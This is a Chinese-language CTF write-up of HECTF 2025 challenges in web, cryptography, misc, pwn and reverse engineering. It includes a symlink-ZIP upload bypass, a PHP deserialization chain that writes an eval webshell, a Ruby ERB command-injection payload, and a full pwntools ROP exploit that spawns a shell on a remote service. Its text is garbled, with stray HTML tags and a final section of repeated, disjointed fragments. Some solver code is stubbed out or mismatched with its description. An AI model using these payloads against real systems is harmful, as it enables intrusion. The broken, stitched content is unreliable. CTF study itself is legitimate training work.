HECTF 2025 CTF 竞赛题目详解与教学<\/h1>

概述<\/h2>
HECTF 2025 是一场涵盖多个技术领域的网络安全竞赛，题目涉及 Web 安全、密码学、逆向工程、Pwn 等多个方向。本文将详细解析各个题目的解题思路和技术要点，帮助读者深入理解相关安全技术。<\/p>

Web 安全题目<\/h2>

题目一：数据库管理系统<\/h3>

题目背景<\/h4>
该系统存在文件参数泄露漏洞，但只能读取 Nginx 的日志文件 `access.log<\/code>。通过分析日志内容获取登录凭证，进入后台后存在文件上传和 ZIP 解压功能。<\/p>`

解题步骤<\/h4>
1. 获取登录凭证<\/strong><\/p>

分析 access.log<\/code> 文件，查找登录请求记录<\/li>
对 URL 编码的内容进行解码，获取明文账号密码<\/li>
<\/ul>
2. 文件上传绕过技术<\/strong><\/p>

后端对上传文件有严格限制：检查文件后缀和文件内容<\/li>
文件内容必须包含常见图片文件头（如 GIF89a<\/code>）<\/li>
<\/ul>
3. 攻击方法一：软链接利用<\/strong><\/p>
# 创建指向 \/flag 的软链接<\/span>
<\/span><\/span>ln -s \/flag ans
<\/span><\/span>
<\/span><\/span># 压缩软链接文件<\/span>
<\/span><\/span>zip --symlinks exploit.zip ans
<\/span><\/span>
<\/span><\/span># 添加图片文件头<\/span>
<\/span><\/span>echo -n "GIF89a"<\/span> | cat - exploit.zip > payload.jpg
<\/span><\/span><\/code><\/pre>
上传后解压，访问 \/avatars\/ans<\/code> 获取 flag<\/li>
<\/ul>
4. 攻击方法二：Webshell 上传<\/strong><\/p>

创建包含一句话木马的 PHP 文件<\/li>
压缩后添加图片文件头上传<\/li>
<\/ul>
5. 前端绕过技巧<\/strong><\/p>

修改 HTML 代码，在解压下拉框中添加选项：<\/li>
<\/ul>
<option<\/span> value<\/span>=<\/span>"xxx.jpg"<\/span>>xxx.jpg<\/option<\/span>>
<\/span><\/span><\/code><\/pre>
通过浏览器开发者工具修改本地 HTML 内容<\/li>
<\/ul>
6. 解压过程拦截与修改<\/strong><\/p>

使用 Burp Suite 拦截解压请求<\/li>
修复被置空的 extract_zip<\/code> 参数<\/li>
成功解压后访问对应路径获取 flag<\/li>
<\/ul>
技术要点<\/h4>

文件类型混淆攻击<\/li>
软链接在压缩文件中的利用<\/li>
前端验证绕过技术<\/li>
请求拦截与参数修改<\/li>
<\/ul>
题目二：像素战士<\/h3>
解题步骤<\/h4>

第一关<\/strong>：修改前端 courage<\/code> 参数值为 100000<\/li>
第二关<\/strong>：修改 Cookie 中的 user<\/code> 值为 vip<\/code><\/li>
第三关<\/strong>：JWT 伪造

密钥为 "HECTF" 的大小写组合<\/li>
使用工具爆破密钥<\/li>
修改 session 有效期和身份信息<\/li>
<\/ul>
<\/li>
<\/ol>
技术要点<\/h4>

客户端参数篡改<\/li>
Cookie 操作<\/li>
JWT 结构分析与伪造<\/li>
<\/ul>
题目三：PHPGift<\/h3>
题目分析<\/h4>
考察 PHP 反序列化漏洞利用，需要构造特定的反序列化链。<\/p>
源码关键类分析<\/h4>
class<\/span> Logger<\/span> {
<\/span><\/span>    private<\/span> $logFile;
<\/span><\/span>    private<\/span> function<\/span> log<\/span>($message) {
<\/span><\/span>        file_put_contents<\/span>($this-><\/span>logFile<\/span>, $message, FILE_APPEND<\/span>);
<\/span><\/span>    }
<\/span><\/span>    public<\/span> function<\/span> __invoke($msg) {
<\/span><\/span>        $this-><\/span>log<\/span>($msg);
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>class<\/span> UserProfile<\/span> {
<\/span><\/span>    public<\/span> $name;
<\/span><\/span>    public<\/span> $email;
<\/span><\/span>    public<\/span> function<\/span> __toString() {
<\/span><\/span>        return<\/span> "User: <\/span>{<\/span>$this-><\/span>name<\/span>}<\/span> (<\/span>{<\/span>$this-><\/span>email<\/span>}<\/span>)"<\/span>;
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>class<\/span> MathHelper<\/span> {
<\/span><\/span>    private<\/span> $factor =<\/span> 1<\/span>;
<\/span><\/span>    public<\/span> function<\/span> __invoke($x) {
<\/span><\/span>        return<\/span> $x *<\/span> $this-><\/span>factor<\/span>;
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>反序列化利用链构造<\/h4>
<?<\/span>php<\/span>
<\/span><\/span>class<\/span> Logger<\/span> {
<\/span><\/span>    private<\/span> $logFile =<\/span> "shell.php"<\/span>;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>class<\/span> User<\/span> {
<\/span><\/span>    public<\/span> $data;
<\/span><\/span>    public<\/span> $params;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>class<\/span> FileHandler<\/span> {
<\/span><\/span>    private<\/span> $fileHandle =<\/span> null<\/span>;
<\/span><\/span>    private<\/span> $fileName;
<\/span><\/span>    public<\/span> function<\/span> __construct($obj) {
<\/span><\/span>        $this-><\/span>fileName<\/span> =<\/span> $obj;
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 构造利用链
<\/span><\/span><\/span><\/span>$logger =<\/span> new<\/span> Logger<\/span>();
<\/span><\/span>$user =<\/span> new<\/span> User<\/span>();
<\/span><\/span>$user-><\/span>data<\/span> =<\/span> [$logger, "__invoke"<\/span>];
<\/span><\/span>$user-><\/span>params<\/span> =<\/span> '<?php @eval($_POST[1]);?>'<\/span>;
<\/span><\/span>
<\/span><\/span>$top =<\/span> new<\/span> FileHandler<\/span>($user);
<\/span><\/span>echo<\/span> base64_encode<\/span>(serialize<\/span>($top));
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>技术要点<\/h4>

PHP 反序列化漏洞原理<\/li>
魔术方法利用（__invoke<\/code>, __toString<\/code>）<\/li>
利用链构造技巧<\/li>
文件写入 Webshell<\/li>
<\/ul>
题目四：老爷爷的金块<\/h3>
直接通过游戏通关获得 flag：

HECTF{D0_y0u_sti11_remem3er_me_1_am_g01d_miner_l0ng_time_n0_see}<\/code><\/p>
题目五：红宝石的恶作剧<\/h3>
Ruby ERB 模板注入<\/h4>

输入 env<\/code> 查看环境信息，确认 Ruby 环境<\/li>
利用 ERB 模板注入执行系统命令<\/li>
<\/ul>
Ruby 命令执行方法<\/h4>
`command`<\/span>          # 反引号执行命令<\/span>
<\/span><\/span>system("command"<\/span>)  # system 方法执行<\/span>
<\/span><\/span>%x{command}<\/span>        # %x 语法执行<\/span>
<\/span><\/span><\/code><\/pre>利用Payload<\/h4>
%x{cat \/f*}
<\/code><\/pre>
最终获得 flag：HECTF{1bffdda743011e-9bd222f75db7c01-9a152b72e1b1eba}<\/code><\/p>
密码学题目<\/h2>
题目一：下个棋吧<\/h3>
题目信息<\/h4>

密文：RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=<\/code><\/li>
密钥：CHESS<\/code><\/li>
<\/ul>
解题步骤<\/h4>

Base64 解码得到初步密文<\/li>
使用棋盘密码（Playfair Cipher）解密<\/li>
将 flag 转换为大写<\/li>
<\/ol>
最终 flag：HECTF{1145145201314}<\/code><\/p>
题目二：simple_math<\/h3>
题目分析<\/h4>
RSA 相关数学题目，涉及大数分解和数学计算。<\/p>
解题代码框架<\/h4>
import<\/span> sys
<\/span><\/span>from<\/span> math import<\/span> isqrt
<\/span><\/span>from<\/span> Crypto.Util.number import<\/span> long_to_bytes, inverse
<\/span><\/span>
<\/span><\/span># 兼容性 isqrt 实现<\/span>
<\/span><\/span>def<\/span> isqrt<\/span>(n):
<\/span><\/span>    if<\/span> n <<\/span> 0<\/span>: raise<\/span> ValueError<\/span>
<\/span><\/span>    if<\/span> n ==<\/span> 0<\/span>: return<\/span> 0<\/span>
<\/span><\/span>    x =<\/span> int(n **<\/span> 0.5<\/span>)
<\/span><\/span>    if<\/span> (x+<\/span>1<\/span>)**<\/span>2<\/span> <=<\/span> n: x =<\/span> x +<\/span> 1<\/span>
<\/span><\/span>    return<\/span> x
<\/span><\/span>
<\/span><\/span># 题目数据<\/span>
<\/span><\/span>c =<\/span> 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422<\/span>
<\/span><\/span>n =<\/span> 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609<\/span>
<\/span><\/span>bits =<\/span> 128<\/span>
<\/span><\/span>B =<\/span> 1<\/span> <<<\/span> bits
<\/span><\/span>
<\/span><\/span># 因数恢复算法<\/span>
<\/span><\/span>P_low =<\/span> n %<\/span> B
<\/span><\/span>approx_P_high =<\/span> n \/\/<\/span> (B**<\/span>3<\/span>)
<\/span><\/span>
<\/span><\/span># 在估算值附近搜索真实值<\/span>
<\/span><\/span>for<\/span> offset in<\/span> range(-<\/span>100<\/span>, 101<\/span>):
<\/span><\/span>    P_high =<\/span> approx_P_high +<\/span> offset
<\/span><\/span>    # ... 继续分解过程<\/span>
<\/span><\/span><\/code><\/pre>最终 flag：HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}<\/code><\/p>
题目三：ez_rsa<\/h3>
题目分析<\/h4>
涉及 RSA 公共模数攻击或相关漏洞。<\/p>
解题代码框架<\/h4>
import<\/span> math
<\/span><\/span>from<\/span> Crypto.Util.number import<\/span> long_to_bytes, inverse, isPrime
<\/span><\/span>
<\/span><\/span>def<\/span> get_next_prime<\/span>(n):
<\/span><\/span>    if<\/span> n %<\/span> 2<\/span> ==<\/span> 0<\/span>: n +=<\/span> 1<\/span>
<\/span><\/span>    else<\/span>: n +=<\/span> 2<\/span>
<\/span><\/span>    while<\/span> not<\/span> isPrime(n):
<\/span><\/span>        n +=<\/span> 2<\/span>
<\/span><\/span>    return<\/span> n
<\/span><\/span>
<\/span><\/span>def<\/span> continued_fraction<\/span>(n, d):
<\/span><\/span>    while<\/span> d:
<\/span><\/span>        q =<\/span> n \/\/<\/span> d
<\/span><\/span>        yield<\/span> q
<\/span><\/span>        n, d =<\/span> d, n %<\/span> d
<\/span><\/span>
<\/span><\/span>def<\/span> convergents<\/span>(n, d):
<\/span><\/span>    h1, k1 =<\/span> 1<\/span>, 0<\/span>
<\/span><\/span>    h2, k2 =<\/span> 0<\/span>, 1<\/span>
<\/span><\/span>    for<\/span> q in<\/span> continued_fraction(n, d):
<\/span><\/span>        h1, h2 =<\/span> q *<\/span> h1 +<\/span> h2, h1
<\/span><\/span>        k1, k2 =<\/span> q *<\/span> k1 +<\/span> k2, k1
<\/span><\/span>        yield<\/span> h1, k1
<\/span><\/span>
<\/span><\/span># 题目数据<\/span>
<\/span><\/span>c1 =<\/span> 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920<\/span>
<\/span><\/span>c2 =<\/span> 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412<\/span>
<\/span><\/span>n1 =<\/span> 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641<\/span>
<\/span><\/span>n2 =<\/span> 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469<\/span>
<\/span><\/span>e =<\/span> 65537<\/span>
<\/span><\/span><\/code><\/pre>最终 flag：HECTF{cRoss_0v3r_v&ry_yOxi}<\/code><\/p>
题目四：ez_ecc<\/h3>
椭圆曲线密码学题目<\/h4>
给定曲线上的点坐标，需要恢复曲线参数并求解。<\/p>
解题代码框架<\/h4>
# 手动实现 long_to_bytes<\/span>
<\/span><\/span>def<\/span> long_to_bytes<\/span>(n):
<\/span><\/span>    return<\/span> int(n).<\/span>to_bytes((n.<\/span>bit_length() +<\/span> 7<\/span>) \/\/<\/span> 8<\/span>, 'big'<\/span>)
<\/span><\/span>
<\/span><\/span># 题目数据<\/span>
<\/span><\/span>P2 =<\/span> (14964670759245329390375308321411786978157102161189322115734645373169213999800<\/span>, 15559632617790587507311758059936601413780195603883582327743315824295031740424<\/span>)
<\/span><\/span>PQ =<\/span> (51100085833472068924911572616418783709145128504503165799653950174447959545831<\/span>, 34374474833785437488342051727913857907583782324172232648593714071718811330923<\/span>)
<\/span><\/span>Q2 =<\/span> (58182088469274002379975156536635905530143308283684486683439461054185269349870<\/span>, 60318982918282038994679589134874004093617373250696961967201026789735803518347<\/span>)
<\/span><\/span>
<\/span><\/span># 恢复曲线参数 p 和 b<\/span>
<\/span><\/span>def<\/span> get_val<\/span>(point):
<\/span><\/span>    x, y =<\/span> point
<\/span><\/span>    return<\/span> y**<\/span>2<\/span> -<\/span> x**<\/span>3<\/span> -<\/span> x
<\/span><\/span>
<\/span><\/span>v1 =<\/span> get_val(P2)
<\/span><\/span>v2 =<\/span> get_val(PQ)
<\/span><\/span>v3 =<\/span> get_val(Q2)
<\/span><\/span>
<\/span><\/span># 计算 p 作为差值的最大公约数<\/span>
<\/span><\/span>p =<\/span> gcd(v1 -<\/span> v2, v2 -<\/span> v3)
<\/span><\/span>b =<\/span> v1 %<\/span> p
<\/span><\/span>
<\/span><\/span># 点减半算法<\/span>
<\/span><\/span>def<\/span> solve_half_point<\/span>(TargetPoint):
<\/span><\/span>    # 实现点减半逻辑<\/span>
<\/span><\/span>    pass<\/span>
<\/span><\/span><\/code><\/pre>MISC 杂项题目<\/h2>
题目一：签到<\/h3>
题目分析<\/h4>
Emoji 替换密码，需要将 Emoji 序列映射为字母。<\/p>
已知映射关系<\/h4>

c = 🎹🎹🎹<\/li>
t = 🏀🏀🏀<\/li>
f = 🌺🌺<\/li>
i = 🎵🎵🎵<\/li>
l = 🍑🍑🍑<\/li>
o = 🎲🎲🎲<\/li>
v = ⚽⚽⚽<\/li>
e = 🍉🍉🍉<\/li>
u = 🚃🚃🚃<\/li>
<\/ul>
完整映射表<\/h4>
🌹 = h
🍉 = e  
🎹 = c
🏀 = t
🌺 = f
🚇 = w
🍑 = l
🎲 = o
⚾ = m
🏉 = p
💎 = y
🚃 = u
🏓 = a
🌾 = n
🍇 = j
🎵 = i
<\/code><\/pre>
解密过程<\/h4>
密文：🌹🌹🍉🍉🎹🎹🏀🏀🌺🌺{🚇🚇🍉🍉🍑🍑🎹🎹🎲🎲⚾⚾🍉🍉_🏀🏀🎲🎲_🌹🌹🍉🍉🎹🎹🏀🏀🌺🌺_🌹🌹🎲🎲🏉🏉🍉🍉_💎💎🎲🎲🚃🚃_🎹🎹🏓🏓🌾🌾_🍉🍉🌾🌾🍇🍇🎲🎲💎💎_🎵🎵🏀🏀}<\/code><\/p>
解密后：hectf{welcome_to_hectf_hope_you_can_enjoy_it}<\/code><\/p>
Pwn 题目<\/h2>
题目一：nc<\/h3>
解题步骤<\/h4>

分析日志发现上传请求：
POST \/01\/data\/upload\/ HTTP\/1.1
<\/code><\/pre>
<\/li>
随后访问病毒文件：
GET \/01\/data\/upload\/upd0te.php
<\/code><\/pre>
<\/li>
病毒文件名为 upd0te.php<\/code><\/li>
第二关通过输入特定序列（1, 0, 3）通过<\/li>
<\/ol>
题目二：shop<\/h3>
漏洞分析<\/h4>

程序存在栈溢出漏洞<\/li>
输入正确的密码和账户后触发 gets 函数溢出<\/li>
<\/ul>
Exploit 代码<\/h4>
#!\/usr\/bin\/python3<\/span>
<\/span><\/span>from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>context(log_level=<\/span>"debug"<\/span>, os=<\/span>"linux"<\/span>, arch=<\/span>"amd64"<\/span>)
<\/span><\/span>
<\/span><\/span>def<\/span> exploit<\/span>():
<\/span><\/span>    p =<\/span> remote("8.153.93.57"<\/span>, 32737<\/span>)
<\/span><\/span>    elf =<\/span> ELF('.\/shop'<\/span>)
<\/span><\/span>    libc =<\/span> elf.<\/span>libc
<\/span><\/span>    
<\/span><\/span>    # 第一阶段：泄漏 libc 地址<\/span>
<\/span><\/span>    p.<\/span>recvuntil("Enter choice: "<\/span>)
<\/span><\/span>    p.<\/span>sendline('2'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("admin password:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('shopadmin123'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("amount:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('-1'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("product name:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('nono'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("product price:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('1'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("Enter purchase description:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    
<\/span><\/span>    # ROP 链泄漏 puts 地址<\/span>
<\/span><\/span>    rdi =<\/span> 0x0000000000401240<\/span>
<\/span><\/span>    puts_got =<\/span> elf.<\/span>got["puts"<\/span>]
<\/span><\/span>    puts_plt =<\/span> elf.<\/span>plt["puts"<\/span>]
<\/span><\/span>    main =<\/span> 0x401413<\/span>
<\/span><\/span>    
<\/span><\/span>    payload =<\/span> b<\/span>'a'<\/span> *<\/span> 0x58<\/span> +<\/span> p64(rdi) +<\/span> p64(puts_got) +<\/span> p64(puts_plt) +<\/span> p64(main)
<\/span><\/span>    p.<\/span>sendline(payload)
<\/span><\/span>    
<\/span><\/span>    # 计算 libc 基址<\/span>
<\/span><\/span>    leak =<\/span> u64(p.<\/span>recv(6<\/span>).<\/span>ljust(8<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>))
<\/span><\/span>    libc.<\/span>address =<\/span> leak -<\/span> libc.<\/span>sym['puts'<\/span>]
<\/span><\/span>    
<\/span><\/span>    # 第二阶段：获取 shell<\/span>
<\/span><\/span>    p.<\/span>recvuntil("Enter choice: "<\/span>)
<\/span><\/span>    p.<\/span>sendline('2'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("admin password:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('shopadmin123'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("amount:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('-1'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("product name:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('nono'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("product price:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    p.<\/span>sendline('1'<\/span>)
<\/span><\/span>    p.<\/span>recvuntil("Enter purchase description:<\/span>\n<\/span>"<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 执行 system("\/bin\/sh")<\/span>
<\/span><\/span>    binsh =<\/span> next(libc.<\/span>search(b<\/span>"\/bin\/sh"<\/span>))
<\/span><\/span>    system =<\/span> libc.<\/span>sym["system"<\/span>]
<\/span><\/span>    ret =<\/span> 0x04014F0<\/span>  # 栈对齐<\/span>
<\/span><\/span>    
<\/span><\/span>    payload =<\/span> b<\/span>'a'<\/span> *<\/span> 0x58<\/span> +<\/span> p64(rdi) +<\/span> p64(binsh) +<\/span> p64(ret) +<\/span> p64(system)
<\/span><\/span>    p.<\/span>sendline(payload)
<\/span><\/span>    p.<\/span>interactive()
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> '__main__'<\/span>:
<\/span><\/span>    exploit()
<\/span><\/span><\/code><\/pre>技术要点<\/h4>

栈溢出原理<\/li>
ROP 链构造<\/li>
Libc 地址泄漏<\/li>
栈对齐问题处理<\/li>
<\/ul>
Reverse Engineering 逆向工程<\/h2>
题目：eazyree<\/h3>
题目分析<\/h4>

程序使用自定义 Base64 编码表<\/li>
编码表：ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210<\/code><\/li>
密文：HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0<\/code><\/li>
<\/ul>
解题方法<\/h4>
使用 CyberChef 或自定义解码脚本，应用自定义编码表进行 Base64 解码。<\/p>
总结<\/h2>
本教学文档详细分析了 HECTF 2025 竞赛中的各个题目，涵盖了以下重要技术点：<\/p>

Web 安全<\/strong>：文件上传绕过、日志分析、软链接利用、反序列化漏洞<\/li>
密码学<\/strong>：Base64 变种、棋盘密码、RSA 数学问题、椭圆曲线密码<\/li>
逆向工程<\/strong>：自定义编码算法分析<\/li>
Pwn<\/strong>：栈溢出利用、ROP 链构造、Libc 地址泄漏<\/li>
杂项<\/strong>：替换密码分析、Emoji 编码<\/li>
<\/ol>
通过这些题目的学习，可以深入了解现代 CTF 竞赛中常见的安全技术和解题思路，为后续的安全研究和竞赛参与打下坚实基础。<\/p>

HECTF 2025 CTF 竞赛题目详解与教学<\/h1>

概述<\/h2> HECTF 2025 是一场涵盖多个技术领域的网络安全竞赛，题目涉及 Web 安全、密码学、逆向工程、Pwn 等多个方向。本文将详细解析各个题目的解题思路和技术要点，帮助读者深入理解相关安全技术。<\/p>

Web 安全题目<\/h2>

题目一：数据库管理系统<\/h3>

题目背景<\/h4> 该系统存在文件参数泄露漏洞，但只能读取 Nginx 的日志文件 access.log<\/code>。通过分析日志内容获取登录凭证，进入后台后存在文件上传和 ZIP 解压功能。<\/p>

题目二：像素战士<\/h3>

题目三：PHPGift<\/h3>

题目分析<\/h4> 考察 PHP 反序列化漏洞利用，需要构造特定的反序列化链。<\/p>

题目四：老爷爷的金块<\/h3> 直接通过游戏通关获得 flag： HECTF{D0_y0u_sti11_remem3er_me_1_am_g01d_miner_l0ng_time_n0_see}<\/code><\/p>

题目一：下个棋吧<\/h3>

题目分析<\/h4> RSA 相关数学题目，涉及大数分解和数学计算。<\/p>

题目分析<\/h4> 涉及 RSA 公共模数攻击或相关漏洞。<\/p>

椭圆曲线密码学题目<\/h4> 给定曲线上的点坐标，需要恢复曲线参数并求解。<\/p>

MISC 杂项题目<\/h2>

题目一：签到<\/h3>

题目分析<\/h4> Emoji 替换密码，需要将 Emoji 序列映射为字母。<\/p>

题目一：nc<\/h3>

题目二：shop<\/h3>

Reverse Engineering 逆向工程<\/h2>

题目：eazyree<\/h3>

解题方法<\/h4> 使用 CyberChef 或自定义解码脚本，应用自定义编码表进行 Base64 解码。<\/p>

概述<\/h2>
HECTF 2025 是一场涵盖多个技术领域的网络安全竞赛，题目涉及 Web 安全、密码学、逆向工程、Pwn 等多个方向。本文将详细解析各个题目的解题思路和技术要点，帮助读者深入理解相关安全技术。<\/p>

题目背景<\/h4>
该系统存在文件参数泄露漏洞，但只能读取 Nginx 的日志文件 `access.log<\/code>。通过分析日志内容获取登录凭证，进入后台后存在文件上传和 ZIP 解压功能。<\/p>`

题目分析<\/h4>
考察 PHP 反序列化漏洞利用，需要构造特定的反序列化链。<\/p>

题目四：老爷爷的金块<\/h3>
直接通过游戏通关获得 flag：
`HECTF{D0_y0u_sti11_remem3er_me_1_am_g01d_miner_l0ng_time_n0_see}<\/code><\/p>`

题目分析<\/h4>
RSA 相关数学题目，涉及大数分解和数学计算。<\/p>

题目分析<\/h4>
涉及 RSA 公共模数攻击或相关漏洞。<\/p>

椭圆曲线密码学题目<\/h4>
给定曲线上的点坐标，需要恢复曲线参数并求解。<\/p>

题目分析<\/h4>
Emoji 替换密码，需要将 Emoji 序列映射为字母。<\/p>

解题方法<\/h4>
使用 CyberChef 或自定义解码脚本，应用自定义编码表进行 Base64 解码。<\/p>